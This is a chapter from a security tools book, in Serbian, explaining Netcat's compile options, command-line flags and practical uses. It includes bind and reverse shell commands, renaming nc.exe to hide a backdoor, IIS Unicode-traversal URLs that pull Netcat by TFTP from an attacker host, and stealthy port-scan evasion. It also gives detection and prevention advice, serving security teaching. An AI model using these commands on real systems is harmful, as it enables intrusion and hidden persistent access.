DEO

I

Multifunkcionalni alati

U OVOM DELU:

1. Netcat i Cryptcat
2. Otvoreni kod /Sistemski alati: Osnove
3. X Window sistem
4. VMware
5. Cygwin

POGLAVLJE 1

Netcat i Cryptcat

Kao što ćete videti kroz ovu knjigu, na raspolaganju Vam je obilje alata za mrežnu sigurnost i hakovanje. U većini slučaja, svaki alat se fokusira na specifičan cilj. Na primer, neki alati skupljaju informacije o mreži i mrežnim domenima. Drugi imaju cilj da iskoriste osetljivost. Najvredniji i najkorisniji su, međutim, uglavnom oni alati koji su multifunkcionalni i prikladni za upotrebu u više različitih scenarija. Netcat i Cryptcat su upravo te vrste.

Netcat

Prosto govoreći, Netcat stvara i prihvata TCP (Transmission Control Protocol) i UDP (User Datagram Protocol) konekcije. To je to! Netcat piše i čita podatke preko ovih konekcija dok se one ne zatvore. To donosi osnovni TCP/UDP mrežni podsistem koji omogućava korisniku da manualno ili preko skripta vrši interakciju sa mrežnim aplikacijama i servisima na aplikativnom nivou. Omogućava nam da vidimo čiste TCP i UDP podatke pre nego što oni budu umotani u sledeći viši nivo kao što je FTP (File transfer Protocol), SMTP (Simple Mail Transfer Protocol) ili HTTP (Hypertext Transfer Protocol).

NAPOMENA

Tehnički, Netcat ne stvara UDP konekcije jer je UDP bezkonekcioni protokol. Kroz ovo poglavlje, kada pominjemo stvaranje UDP konekcije korišćenjem Netcat-a, mislimo na upotrebu Netcat-a u UDP modu za početak slanja podataka UDP servisu koji je možda na prijemnom kraju. ■

Netcat ne radi ništa maštovito. Ne poseduje lep grafički interfejs (GUI) i ne izdaje svoje rezultate u privlačni izveštaj. On je grub, jednostavan i ružan, ali zbog činjenice da funkcioniše na takvom osnovnom nivou omogućava sebi da bude koristan za mnoštvo situacija. Iz činjenice da sam Netcat ne donosi nužno nikakve značajne rezultate ukoliko se ne koristi u tandemu sa drugim alatima ili tehnikama, neiskusni korisnik mogao bi da previdi Netcat kao ništa više nego jedan hvaljeni telnet klijent. Drugi ne bi mogli da vide mogućnosti kroz argumente komandne linije, detaljno opisane u README fajlu. Do kraja ovog poglavlja, u svakom slučaju, cenićete činjenicu kako Netcat može biti jedan od najvrednijih alata u Vašem arsenalu.

Implementacija

Zato što ima tako puno upotreba, Netcat se često poredi sa švajcarskim nožićem (eng. "Swiss army knife") za TCP/IP u UDP. Pre nego što naučite da ga koristite, naravno, moraćete da ga preuzmete (eng. download) sa mreže i instalirate.

Preuzimanje

Netcat se može pronaći na dosta lokacija, mada mnoge Unix distribucije dolaze sa Netcat binarnim datotekama već instaliranim, nije loša ideja da pronađete izvorni kod Netcat-a i sami ga kompajlirate. Po standardnom podešavanju, Netcat kode se ne kompajlira u nekoliko opcija koje biste želeli. Preuzimanjem izvornog koda i pravljenjem izvršne datoteke, možete tačno odrediti koje ćete Netcat mogućnosti imati na raspolaganju.

Zvanični sajt za preuzimanje Netcata za Unix i Windows platforme je `http://www.atstake.com/research/tools/`.

Instalacija

Nećemo pokriti detalje preuzimanja, otpakovanja i izgradnje većine alata pomenutih u knjizi. Ali zbog činjenice da Vas prvo upoznajemo sa Netcat-om i što poseduje neke opcije prilikom kompajliranja koje bi mogle da Vas interesuju, bitno je da zavirimo u detalje.

Sa navedenog web sajta, preuzmite fajl nc110.tgz. Onda treba da ga otpakujete:

```
[root@originix tmp]#
ls nc110.tgz
[root@originix tmp]# mkdir nc
[root@originix tmp]# cd nc
[root@originix tmp]# tar zxf ../nc110.tgz
[root@originix tmp]#
```

NAPOMENA

Za razliku od većine "tarbola" (arhiva kreiranih tar alatom na Unix-u), Netcat ne kreira sam svoj pod direktorijum. To sada može izgledati trivijalno, ali ako su tarbol i njegovi poddirektorijumi preuzeti sa Net-a u jedan direktorijum, a Vi otkrijete da je Netcat smestio sve svoje fajlove u taj isti, koreni direktorijum gde ste ga snimili, može biti pomalo mučno da sve to sredite. ■

Sada ste spremni za kompajliranje. Slede dve opcije za kompajliranje koje su važne:

- **GAPING_SECURETY_HOLE** Kao što ime sugeriše (otvorena bezbednosna rupa), ova opcija može učiniti Netcat opasnim u pogrešnim rukama, ali ga takođe čini vrlo moćnim. Sa ovom opcijom uključenom, Netcat može da okupira eksterni program. Ulaz/izlaz (I/O) tog programa će teći kroz Netcat kanal podataka. Ovo omogućava Netcat-u da se ponaša kao lažni inetd alat, omogućavajući Vam da izvršite udaljene komande (kao što je pokretanje Unix-ovog komandnog okruženja-eng. shell) jednostavno stvarajući TCP i UDP konekcije portu koji osluškuje. Ova opcija nije omogućena po unapred podešenom stanju jer postoji veliki potencijal za zloupotrebu i pogrešnu podešenost. Međutim, pravilnom upotrebom, ova opcija može biti kritična.
- **TELNET** Uobičajeno, ako koristite Netcat za konekciju sa telnet serverom (koristeći: `nc imeservera 23`), nećete stići daleko. Telnet serveri i klijenti se dogovore oko nekoliko opcija pre nego što se prikaže odzivna linija za logovanje na sistem. Omogućavanjem ove opcije, Netcat može odgovoriti ovim telnet opcijama (tako što će reći ne svakoj od njih) i omogućiti Vam da pristupite odzivnoj liniji za logovanje. Bez ove mogućnosti, morali biste pisanjem skripta da rešite problem odgovaranja telnet opcijama ukoliko ste uopšte želeli da uradite nešto korisno sa Netcat-om i telnetom.

Verovatno niste svesni značaja ovih opcija u ovom trenutku, ali videćete zašto smo ovo izneli kada vidite neke primere kasnije u ovom poglavlju.

Da biste omogućili obe ove opcije, moraćete da dodate DFLAGS liniju na početku fajla koji se zove makefile.

```
# makefile for netcat, based off same ol' "generic makefile".
# Ususally do "make systype" - if your systype isn't defined, try "generic"
# or something else that most closely matches, see where it goes wrong, fix
# it, and MAIL THE DIFFS back to Hobbit.
```

```
### PREDEFINES

# DEFAULTS, possibly overridden by <systype> recursive call:
# pick gcc if you'd rather, and/or do -g instead of -0 if debugging
# debugging
# DFLAGS = -DTEST -DDEBUG
DFLAGS = -DGAPGING_SECURETY_HOLE -DTELNET
CFLAGS = -0
```

Možete uključiti jednu ili obe ove opcije u DFLAGS liniji. Ukoliko želite da se poigrate sa primerima koji slede, moraćete da učinite ovu modifikaciju. Međutim, pre nego što to učinite, uverite se da ili posedujete sistem na kome radite ili da ste potpuno onemogućili pristup drugih korisnika do izvršnog fajla koji ćete upravo napraviti. Iako je dovoljo lako za druge korisnike da preuzmu sa mreže kopiju Netcat-a i naprave završni fajl sa ovim opcijama, verovatno ne biste voleli da vidite kako Vam je sistem hakovan, jer je neko koristio Vašu "specijalno napravljenu" verziju Netcat-a kao tajni ulaz (eng. backdoor) u Vaš sistem.

Sada ste spremni da izvršite kompajliranje. Jednostavno otkucajte: `make systemtype` u odzivnoj liniji, gde je `systemtype` (dovoljno čudno) tip Unix-a koji koristite (koji može biti: *linux*, *freebsd*, *solaris* itd.) Kada je gotovo, imaćete srećni mali "nc" binarni fajl koji se nalazi u direktorijumu.

Za korisnike Windows-a, Netcat fajl za preuzimanje (nc11nt.zip) takođe dolazi i u izvornom kodu, ali zato što većina ljudi ne poseduje kompajlere na svojim Windows sistemima, izvršna verzija je već kompajlirana sa ove dve opcije standardno. Prema tome, jednostavno otpakujte fajl i imate spreman "nc.exe".

Komandna linija

Osnovna komandna linija za Netcat je: `nc <opcije> host ports`, gde je `host` ime domena ili IP adresa za skeniranje i ports je ili jedan port, ili niz portova (označen `"m-n"`) ili individualni portovi odvojeni blanko karakterima (eng. spaces). Sada skoro ste spremni da vidite neke zapanjujuće stvari koje možete uraditi sa Netcat-om. Međutim prvo pogledajte detaljan pregled svake opcije komande linije da biste imali osnovno razumevanje mogućnosti:

- **`-d`** Dostupna jedino na Windows-u, ova opcija stavlja Netcat u skriveni mod, omogućavajući mu da se podeli i radi nezavisno od kontrolne MS-DOS odzivne linije. Omogućava da Netcat radi u prislušnom modu bez potrebe da ga držite u otvorenom komadnom prozoru. Takođe pomaže hakeru da bolje sakrije pokrenuti Netcat od sistem administratora.
- **`-e <command>`** Ukoliko je Netcat kompajliran sa `GAPING_SECURITY_HOLE` opcijom, u prislušnom modu će izvršiti `<command>` kada neko napravi konekciju na port koji Netcat prisluškuje u tom trenutku, dok će klijent Netcat proslediti podatke drugoj kopiji Netcat-a koja prisluluškuje. Korišćenje ove opcije je *izuzetno* opasno ukoliko neznate tačno šta radite. To je lak i brz način za postavljenje backdoor komandnog okruženja na sistem (primeri slede).

- **-i <seconds>** Vremenski interval koji je količina vremena koje Netcat sačeka između slanja podataka. Na primer kada se prosleđuje fajl Netcat-u, on će sačekati `<seconds>` sekundi pre nego što pošalje sledeću liniju ulaznih podataka. Kada koristite Netcat na više portova na domenu, Netcat će sačekati `<seconds>` sekundi pre nego što kontaktira sledeći port u liniji. Ovo može omogućiti korisnicima da stvore prenos podataka ili da napad na servis izgleda manje po skriptu i tako zadržati Vaše skeniranje portova van domašaja radara nekog sistema za detekciju upada i sistem administratora.

- **-g <route-list>** Korišćenje ove opcije može biti lukavo. Netcat podržava labavo rutiranje izvora (objašnjeno kasnije u sekciji "Smestite prijatelju: IP varanje"). Možete naznačiti do osam `-g` opcija u komandnoj liniji da biste primorali Netcat saobraćaj da prolazi preko određenih IP adresa, što je korisno ukoliko skrivate IP adresu izvora Vaših podataka (u pokušaju da zaobiđete filter mrežne blokade ili liste adresa kojima je dozvoljen pristup) i želite da primite odziv sa domena. Rutiranje izvora preko mašine nad kojom imate kontrolu, možete naterati pakete podataka da se vrate Vašoj adresi umesto da završe na pravoj destinaciji. Imajte na umu da ovo uglavnom neće raditi, jer većina rutera ignoriše opciju rutiranja izvora i većina filtera portova i mrežnih blokada prave log Vaših pokušaja.

- **-G <hop pointer>** Ova opcija Vam omogućava da utičete na to koja IP adresa u Vašoj -g listi ruta je trenutno sledeća. Iz razloga što su IP adrese 4 bajta u veličini, ovaj argument se uvek javlja u umnošcima broja 4, gde se 4 odnosi na prvu IP adresu u rut listi, 8 na drugu itd. Ovo je korisno ako želite da falsifikujete delove rut liste izvora da učinite da izgleda kao da dolazi sa nekog drugog mesta. Stavljajući lažne adrese na prva dva mesta u Vašoj `-g` listi i postavljanjem skok pointera `-g` opcijom na 12, paket će biti usmeren pravo ka trećoj IP adresi u Vašoj rut listi. Stvarni sadržaj paket će, inače, još uvek sadržati lažne IP adrese, čineći da izgleda kao da je paket stigao sa jedne lokacije iako je u stvari sa neke druge. Ovo može pomoći da maskirate odakle dolazite kada vršite prikrivanje IP adrese i rutiranje izvora, ali nećete nužno biti u mogućnosti da primite odziv jer će pokušati da preokrene rutu preko Vaše falsifikovane IP adrese.

- **-l** Ova opcija uključuje i isključuje Netcat-ov "prislušni" mod. Ova opcija mora biti korišćena zajedno sa `-p` opcijom da bi uputili Netcat da se veže za bilo koji TCP port koji naznačite i da čeka dolazeće konekcije. Dodajte `-u` opciju da biste koristili UDP portove umesto TCP.

- **-L** Ova opcija, dostupna jedino u Windows verzijama, je jača "prislušna" opcija nego `-l`. Ona nalaže Netcat-u da restartuje prislušni mod sa istim opcijama komandne linije posle zatvaranja konekcije. Ovo omogućava Netcat-u da prihvati buduće konekcije bez intervencije korisnika, čak iako je Vaša inicajlna konekcija završena. Kao i `-l`, takođe zahteva `-p` opciju.

- **-n** Upućuje Netcat da ne vrši bilo kakvu pretragu imena domena. Ako koristite ovu opciju na komandnoj liniji, uverite se da ne naznačite bilo koje ime domena kao argument.

- **-o <hexfile>** Vrši pretvaranje podataka u heksadecimalni kod i prebacuje ih u <hexfile >. Komanda `nc -o hexfile` snima protok podataka u oba smera i započinje svaku liniju sa < ili > da bi se naznačili dolazeći i odlazeći podaci respektivno. Da biste dobili samo hex zapis samo dolazećih podataka, koristili biste komandu `nc -o <hexfile`, i obrnuto, za odlazeći nc `-o >hexfile`.

- **-p <port>** Omogućava Vam da naznačite broj lokalnog porta koji će Netcat koristiti. Ovaj argument je neophodan kada koristite `-l` ili `-L` opcije za prislušni mod. Ako nije naznačeno za odlazeće konekcije, Netcat će koristit bilo koji port koji dobije od sistema, baš kao i većina drugih TCP i UDP klijenta. Imajte na umu da na Unix-u jedino root korsnici mogu naznačiti korišćenje broja porta ispod 1024.

- **-r** Netcat bira lokalni ili udaljeni port. Ovo je korisno kada koristite Netcat da dobijete informacije o velikom opsegu portova na sistemu i želite da pomešate red i izvornih i destinacionih portova da biste učinili da manje izgleda kao skeniranje portova. Kad se ova opcija koristi zajedno sa `-i` opcijom i dovoljno velikim intervalom, port skeniranje ima još veće šanse da prođe nezapaženo osim ukoliko sistem administrator pažljivo i detaljno pregledava logove.

- **-s** Naznačava izvornu IP adresu koju Netcat treba da koristi kada stvara svoje konekcije. Ova opcija omogućava hakerima da rade neke vrlo podle trikove. Prvo, omogućava im da sakriju svoju ili falsifikuju tuđu IP adresu, ali da bi preusmerili bilo koju informaciju preko lažirane adrese, morali bi da koriste `-g` opciju za rutiranje izvora. Drugo, kada je u prislušnom modu, mnogo puta se možete "prikačiti" ispred servisa koji se već prisluškuje. Svi TCP i UDP servisi se vezuju za port, ali se neće svi vezati i za određenu IP adresu. Mnogi servisi po unapred definisanom stanju prisluškuju sve dostupne interfejse. Syslog, na primer, osluškuje UDP port 514 za syslog saobraćaj. Međutim, ako pokrenete Netcat da osluškuje port 514 i upotrebite `-s` opciju da naznačite izvornu IP adresu, sav saobraćaj ka toj naznačenoj IP adresi će otići prvo ka Netcat-u koji osluškuje! Zašto? Ukoliko soket (sistemski interfejs za implementaciju TCP/IP saobraćaja) odredi i port i IP adresu, dobija prioritet nad soketima koje se nisu vezali za specifičnu IP adresu. O tome ćemo detaljnije govoriti kasnije (vidite deo "Otimanje servisa") i pokazati Vam kako da raspoznate na koji servis se može prikačiti.

- **-t** Ako se kompajlira sa `TELNET` opcijom, Netcat će biti u mogućnosti da obrađuje pregovor telnet opcija sa telnet serverom, odgovarajući sa beznačajnim informacijama, ali Vam omogućava login odzivnu liniju koju ste veorvatno i tražili koristeći Netcat za konekciju na TCP port 23.

- **-u** Nalaže Netcat-u da koristi UDP umesto TCP-a. Funkcioniše i u klient i u prislušnom modu.

- **-v** Kontroliše koliko Vam Netcat govori o tome šta radi. Ne koristite `-v`, i Netcat će samo izbaciti podatke koje prima. Jedno `-v` će Vam omogiti da znate na koju adresu se povezuje ili konektuje i ako se javi neki problem. Dva `-v` Vas obaveštava koliko podataka je poslato i primljeno na kraju konekcije.

- **-w <seconds>** Kontroliše koliko će Netcat čekati pre nego što odustane od konekcije. Takođe govori Netcat-u koliko dugo da čeka posle posle primanja EOF (end-of-file- kraja fajla) preko standardnog ulaza i zatvaranja konekcije i izlaza. Ovo je bitno ukoliko šaljete komandu kroz Netcat udaljenom serveru i očekujete veliku količinu podataka u povratku (na primer, slanje HTTP komande serveru za preuzimanje velikog fajla).
- **-z** Ukoliko Vas interesuje koji portovi su otvoreni, verovatno biste trebali koristiti nmap (vidi poglavlje 6). Ali, ova opcija nalaže Netcat-u da šalje samo onoliko podataka da bi otkrio koji portovi u Vašem naznačenom opsegu stvarno imaju nešto što ih osluškuje.

Sada, kada imate predstavu o mogućnostima Netcat-a, pogledajte neke realne praktične primere iz upotrebe ovog alata.

101 upotreba Netcat-a

Ljudi tvrde da su otkrili stotine načina za upotrebu Netcat-a u dnevnim poslovima. Neki od ovih zadataka su slični, razlikujući se vrlo malo. Pokušali smo da Vam predstavimo nekoliko koji, kao i Netcat, su opšti i pokrivaju najšire područje. Evo onih primera za koje smatramo da su najvažniji.

Pribavljanje udaljenog pristupa komandnom okruženju

Zar ne biste želeli da možete da dobijete DOS odzivnu liniju od kuće, bilo gde u svetu? Porketanjem komande `nc.exe -l -p 4455 -e cmd.exe` iz DOS odzivne linije na NT ili Windows 2000 sistemu, svako ko se telnetom poveže na taj sistem preko porta 4455, naići će na DOS komandno okruženje čak i bez potrebe da su uloguje.

```
[root@originx /root]# telnet 192.168.1.101 4455
Trying 192.168.1.101...
Connected to 192.168.1.101.
Escape character is '^]'.
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\>
Connection closed by foreign host.
[root@originix /root]#
```

Vrlo jednostavno, zar ne? Ali je takođe i dosta zastrašujuće. Bez mnogo truda, obezbedili ste odzivnu liniju na sistemu. Međutim, na Windows NT i 2000 sistemima, imaćete iste pristupe i priviliegije kao i korisnik koji je pokrenuo Netcat. Upad na ovaj način u Windows 95 i 98 (koristeći command.com umesto cmd.exe) će Vam dati kontrolu nad celim sistemom. Ovo pokazuje kako Netcat može biti opasan u pogrešnim rukama.

NAPOMENA

Netcat se, izgleda, ponaša izuzetno nestabilno na Windows 95 i 98 platformama, naročito ukoliko se više puta pokrene. ■

Hajde da malo razradimo ovu komandu. Imajte na umu da će Netcat raditi unutar DOS prozora koji inicajlno pokrenut. Ovo znači da kontrolni DOS prozor treba da ostane otvoren dok Netcat radi. Koristeći `-d` opciju da ga odvojite od komandnog prozora treba da omogući Netcat-u da nastavi sa radom čak i posle zatvaranja komandnog prozora.

```
C:\>nc.exe -l -p 4455 -d -e cmd.exe
```

Ovo bolje završava posao skrivanja Netcat bekdora. Međutim, ako se neko telnetom poveže na port 4455, čim pre taj korisnik okonča konekciju, Netcat će po standardnoj podešenosti misliti da je završio i zaustaviće osluškivanje. Koristite `-L` opciju umesto `-l` da biste mu naložili da osluškuje *jače* (nastavi da osluškuješ i ponovo počni sa istom komandnom linijom posle završetka pve konverzacije).

```
/C:\>nc.exe -p 4455 -d -L -e cmd.exe
```

Ovo može omogućiti hakeru povratak u sistem dok sistem administrator ne uoči bekdor videvši pokrenuti nc.exe u task menadžeru. Haker može ovo imati na umu i preimenovati nc.exe u nešto drugo.

```
C:\>move nc.exe c:\Windows\System32\Drivers\update.exe
C:\>Windows\System32\Drivers\update.exe -p 4455 -d -L -e cmd.exe
```

Sistem administratoru može promaći nešto bezopasno kao update.exe-što može biti bilo šta. Haker isto tako može sakriti i komandnu lniju. Još jedna osobina Netcat-a je da ako ga pokrenete bez komandne linije on će sam zatražiti opcije komandne linije na prvoj linije standardnog ulaza:

```
C:\>Windows\System32\Drivers\update.exe
Cmd line: -l -p 4455 -d -L -e cmd.exe
C:\>
```

Sada, ako sistem administrator pokrene poverljivu komandu `netstat -a -n` u DOS promptu, primetiće da je nešto pokrenuto na dosta čudnom portu, telnetom se povezati na taj port i otkriti trik. Međutim, Windows koristi nekoliko slučajno odabranih portova za različite razloge pa netstat-ov izlaz može oduzeti dragoceno vreme za analizu, naročito na sistemima sa puno aktivnosti.

Hakeri mogu probati drugačiji pristup. Ako se infiltriraju na Citrix server, na primer, kojem pristupaju nekoliko korisnika koji surfuju Web-om, treba očekivati dosta DNS (Domain Name System) zahteva i Web konekcija. Pokretanje `netstat -a -n` će otkriti puno odlazećih TCP konekcija na port 80. Umesto da pokrenete Netcat u prislušnom modu na sistemu i čekate na konekcije, Netcat može proslediti ulaz/izlaz cmd.exe programa drugoj pokrenutoj kopiji Netcat-a koja osluškuje na udaljenom sistemu na portu 80. Na svom kraju, haker treba da pokrene:

```
root@originix /root]# nc -l -p 80
```

Sa Windows sistema haker može pametno "sakriti" Netcat ponovo, i proslediti sledeće komande:

```
C:\>mkdir C:\Windows\System32\Drivers\q
C:\>move nc.exe C:\Windows\System32\Drivers\q\iexplore.exe
C:\>cd Windows\System32\Drivers\q
C:\WINDOWS\System32\DRIVERS\q>iexplore.exe
Cmd line: -d -e cmd.exe originix 80
C:\Windows\System32\DRIVERS\q>
```

Sada bi prisluškujući Netcat trebao podići komandno okruženje sa Windows mašine. Ovo može završiti bolji posao sakrivanja bekdora od sistem administratora. Na prvi pogled, konekcije će izgledati baš kao Internet Explorer koji stvara tipične HTTP konekcije. Jedina mana za hakera je to što posle zatvaranja komandnog okruženja, ne postoji način da ga ponovo pokrenete na Windows strani.

Postoji nekoliko načina na koje sistem administrator može otkriti infiltraciju prljavog Netcat-a:

- Koristeći alat za pretragu fajlova u Windows-u i tražeći sve fajlove koji sadrže tekst "listen mode" ili "inbound connects". Svi izvršni fajlovi koji se pojave mogu biti Netcat.
- Proveriti task menadžer za bilo koji prljavi cmd.exe fajl. Ukoliko haker nije preimenovao cmd.exe, možete ga takođe otkriti dok koristi udaljeno komandno okruženje jer će cmd.exe biti pokrenut iz razloga koji je Vama nepoznat.
- Koristeći `netstat` komandu (Poglavlje 2) ili (Poglavlje 18) da bi video koji se portovi trenutno koriste i koje aplikacije ih koriste. Inače, budite oprezni sa netstatom. Netstat može lako biti zamenjen sa "trojan" verzijom programa koja je specijalno napravljena da bi haker prikrio određenu aktivnost. Takođe, netstat nekada neće prijaviti osluškujući TCP soket dok nešto nije povezano na njega.

Upravo ste videli dva različita načina da dobijete udaljeno komandno okruženje na Windows sistemu. Očigledno, neki drugi faktori koji mogu da utiču na uspeh sa obe metode uključuju srednje zaštitne barijere, port filtere ili proxy servere koji zapravo filtriraju HTTP zaglavlja (samo da imenujemo nekoliko).

Posebno ova upotreba Netcata je bila pokretačka snaga nekih popularnih exploita IIS-a (Internet Informatio Server) 4.0 Microsoft Data Access Components (MDAC) i Unicode osetljivosti. Nekoliko varijacija postoji, ali u svim slučajevima exploiti koriste ove slabosti, koje omugaćavaju bilo kome da komande na sistemu kao IIS korisniku koristeći specijalno kreirane URL-ove. Ovi exploiti mogu iskoristiti program kao što je Trivial File Transfer Protocol (TFTP) ako je instaliran, prebaciti nc.exe sa udaljenog sistema na kome je pokrenut TFTP server, pokrenuti jednu od bekdor komandi. Evo URL-a u pokušaju da iskoristi TFTP za preuzimanje Netcat-a sa udaljene lokacije koristeći exploit Unicode osetljivosti:

```
http://10.10.0.1/scripts/../%c1%pc/../winnt/system32/cmd.exe?/c+tftp%20
i%20originx&20GET%20update.exe
```

Ukoliko je uspešna, ova komanda će efektivno smestiti Netcat na 10.10.0.1 u Interpub poddirektorijum direktorijuma Scripts kao update.exe. Haker onda može pokrenuti Netcat koristeći drugi URL:

```
http://10.10.0.1/scripts/../%c1/pc/../inetpub/scripts/update.exe?-l%20-d%20-
L%20-p%20443%20-e%20cmd.exe
```

NAPOMENA

Web server interpretira %20 kao blanko karakter u URL-u gore. ■

Povezivanje telnetom na sistem preko porta 443 treba da obezbedi komandni prompt. Ovo je efektan i jednostavan napad i čak može biti izvršen skriptom i automatizovan. Međutim, ovaj pristup ostavlja tragove iza sebe. Pre svega, svi URL koji su korišćeni biće smešteni u IIS logovima. Pretraživanjem IIS logova za *tftp* će otkriti da li je neko pokušavao ovaj napad. Takođe, većina aktuelnih IDS verzija će tražiti URL-ove formatirane na ovaj način (t.j. URL sadrži *cmd.exe* ili specijalne Unicode karaktere). Postoji nekoliko načina kojima možete izvršiti prevenciju napada ovog tipa.

- Obezbedite da IIS koristi najnoviji sigurnosni paket.
- Blokirajte odlazeće konekcije sa Vašeg web servera na mrežnoj barijeri (firewall). U većini slučajeva Vaš web server ne bi trebao da inicira konekcije ka ostatku sveta. Čak iako je IIS osetljiv, TFTP će propasti jer neće biti u mogućnosti da se poveže sa TFTP serverom napadača.

Pritajeno skeniranje portova (nalik čoveku)

Iz razloga što Netcat može da pregovara sa opsegom portova, dosta očigledna primena bi bila kao port skener. Vaša prva ideja bi bila da Netcat povežete sa mnoštvo portova na ciljnom hostu:

```
[root@originx nc]# ./nc target 20-80
```

Ali, ovo neće raditi. Upamtite da Netcat nije specifično port skener. U ovoj situaciji, Netcat bi počeo kod porta 80 i pokušava TCP konekcije dok nešto ne odgovori. Čim dobije odgovor, Netcat bi čekao na standardni ulaz pre nego što nastavi. Ovo nije ono što nam treba.

Rešenje je -z opcija. Ova opcija nalaže Netcat-u da šalje minimalnu količinu podataka da bi dobila odgovor s otvorenog porta. Kada se koristi `-z` mode, nemate mogućnost opcije prenosa bilo kakvog ulaza ka Netcat-u (pa i sama opcija glasi "Nula I/O mod" , nula-eng. zero i odatle `-z`), a takođe nećete videti ni izlaz. Pošto Vam `-v` opcija uvek daje detalje o konekciji koje Netcat pravi, možete je koristiti da vidite rezultat skeniranja portova. Bez nje...pa... nećete videti ništa-kao što možete primetiti ovde:

```
[root@originix nc]# ./nc -z 192.168.1.100 20-80
[root@originix nc]# ./nc -v -z 192.168.1.100 20-80
originix [192.168.1.100] 80 (www) open
originix [192.168.1.100] 23 (telnet) open
originix [192.168.1.100] 22 (ssh) open
originix [192.168.1.100] 21 (ftp) open
[root@originix nc]#
```

Posle upotrebe `-v` opcije, možete videti nešto sumnjivo između portova 20 i 80. Kako ovo izgleda u syslog-u?

```
Feb 12 03:50:23 originix sshd[21690]: Did not recive ident string from
192.168.1.105.
Feb 12 03:50:23 originix telnetd[21689]: ttloop: read: Broken pipe
Feb 12 03:50:23 originix ftpd[21691]: FTP session closed
```

Primetićete kako su se svi događaji dogodili u isto vreme i sa inkrementima proces ID-a (21689 do 21691). Zamislite da ste skenirali širok opseg portova. Krajnji ishod bi bio dosta veliki trag. A neki servisi, čak su i toliko drski da odaju IP adresu skenera.

Čak iako skenirate portove na kojima ništa nije aktivno (i zbog toga ne završite u hostovom syslog-u), većina mreža poseduje sistem detekcije upada koji će odmah označiti ovaj oblik ponašanja i privući pažnju administratora. Neke aplikacije mrežnih barijera će automatski blokirati IP adresu sa koje prime previše konekcija u kratkom vremenskom periodu.

Netcat omogućava načine da učinite skeniranje nešto diskretnijim. Možete koristiti `-i` opciju da namestite interval između prenosa podataka. Duže će trajati dobijanje informacija, ali su veće šanse da skeniranje promakne radaru. Upotreba `-r` opcije da izmešate redosled po kome Netcat skenira portove će takođe pomoći da skeniranje manje liči na skeniranje portova:

```
./nc -v -z -r -i 42 192.168.1.00 20-80
```

Ovim kažete Netcat-u da slučajno izabere portove između 20 i 80 na 192.168.1.100 i pokuša da se poveže na njih svakih 42 sekunde. Ovo će definitivno promaći bilo kojoj automatizovanoj odbrani, ali će dokaz skeniranje još uvek biti na logovima cilja; biće samo rasejaniji.

Možete raditi isti način prikrivenog skeniranja portova koristeći i UDP. Jednostavno dodajte `-u` komandnoj liniji za pregled UDP umesto TCP portova.

SAVET

UDP skeniranje poseduje problem. Netcat zavisi od primanja Internet Control Message Protocol (ICMP) greške da bi odredio da li je UDP port otvoren ili zatvoren. Ako je ICMP blokiran mrežnim barijerama ili filterom, Netcat može pogrešno prijaviti zatvoren UDP port kao otvoren. ■

Netcat nije najsofisticiraniji alat za upotrebu u port skeniranju. Zato što se može koristiti za mnoge opšte namene umesto da izvršava jedan zadatak *izuzetno* dobro, možda bi bilo bolje da koristite port skener koji je specijalno napisan za tu svrhu. O port skenerima ćemo govoriti u poglavlju 6.

SAVET

Ako dobijete greške u pogledu adrese koja je već u upotrebi kada je pokušano sa skeniranjem porta koristeći Netcat, možda biste trebali zaključati Netcat za određeni izvorni IP i izvorni port (koristeći `-s` i `-p` opcije). Izaberite port koji znate da možete da koristite (samo superkorisnik može koristiti portove ispod 1024) ili koji nisu vezani za nešto drugo. ■

Identifikujte se: servisi prosipaju svoje utrobe

Posle upotrebe Netcat-a ili posvećenog port-skener alata kao što je nmap (vidite poglavlje 6) da biste utvrdili koji portovi su otvoreni na sistemu, možda biste želeli da budete u mogućnosti da dobijete još informacija o tim portovima. To obično možete postići konektovanjem na port; servis će odmah izbaciti broj verzije, datum stvaranja i možda i operativnog sistema na kome leži sistem. Stoga, trebali biste biti u mogućnosti da koristite Netcat za skeniranje određenog opsega portova i formiranja izveštaja o ovim servisima.
Imajte na umu, mada, da biste automatizovali Netcat, morate obezbediti ulaz za komandnu liniju kako ne bi bio blokiran čekajući na standardan unos od korisnika. Ukoliko prosto pokrenete: nc `192.168.1.100` 20-80, nećete otkriti mnogo, jer će se blokirati na prvoj konekciji (verovatno web server koji sluša port 80) i onda će čekati na Vašu reakciju. Zato morate da smislite nešto da bi ste odgovorili na sve ove servise kako bi ih ubedili da nam kažu nešto više o sebi. Kako ispada, govoreći servisima da prekinu (eng. `QUIT`) stvarno ih dovodi do zabune, i u porcesu oni će otvoriti svoje duše.

Hajde da probamo protiv portova 21 (FTP), 22 (SSH-Secure Shell-obezbedi komandno okruženje) i porta 80 (HTTP) i videti šta će nam serveri reći.

```
[root@originix nc]# echo QUIT | ./nc -v 192.168.1.100 21 22 80
originix [192.168.1.100] 21 (ftp) open
220 originix FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999)
ready.
221 Goodbye.
originix [192.168.1.100] 22 (ssh) open
SSH-2.0-OpenSSH_2.3.Opl
Protocol mismatch.
originix [192.168.1.100] 80 (www) open
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>501 Method Not Implemented</TITLE>
</HEAD><BODY>
<H1>Method Not Implemented</H1>
QUIT to /index.html not supported.<P>
Invalid method in request QUIT<P>
<HR>
<ADRESS>Apache/1.3.14 Server at 127.0.0.1 Port 80</ADRESS>
</BODY></HTML>
[root@originix nc]#
```

SAVET

Zapamtite da kada automatizujete konekcije ka više portova, koristite barem jednu -v opciju kako biste odvojili jednu konekciju od druge. Takođe, ako automatizujete konekcije ka više portova i jedan od njih je telnet server, morate da koristite -t ako želite da prođete binarne nestašluke (t.j. pregovaranje o telnet opcijama). Obično je dobra ideja da preskočite port 23 i pristupite mu zasebno. ■

Izlaz nije lep, ali sada znamo verzije ova tri servisa. Haker može koristiti ovo da potraži starije verzije servisa koji su osetljivi na exploite (`http://www.securityfocus.com/` je odlično mesto gde možete naći informacije o osetljivim verzijama servisa). Haker koji pronađe posebno interesantan port mogao bi da dobije još i više informacija fokusirajući se na te servise i pokušavajući da govori njihovim jezikom.

Hajde da se fokusiramo na Apache Web server. `QUIT` nije komanda koju taj HTTP razume. Pokušajmo da mu kažemo nešto što bi mogao shvatiti.

```
[root@originix nc]# ./nc -v 192.168.1.100 80
originix [192.168.1.100] 80 (www) open
GET / HTTP
HTTP/1.1 200 OK
Date: Tue, 12 Feb 2002 09:43:07 GMT
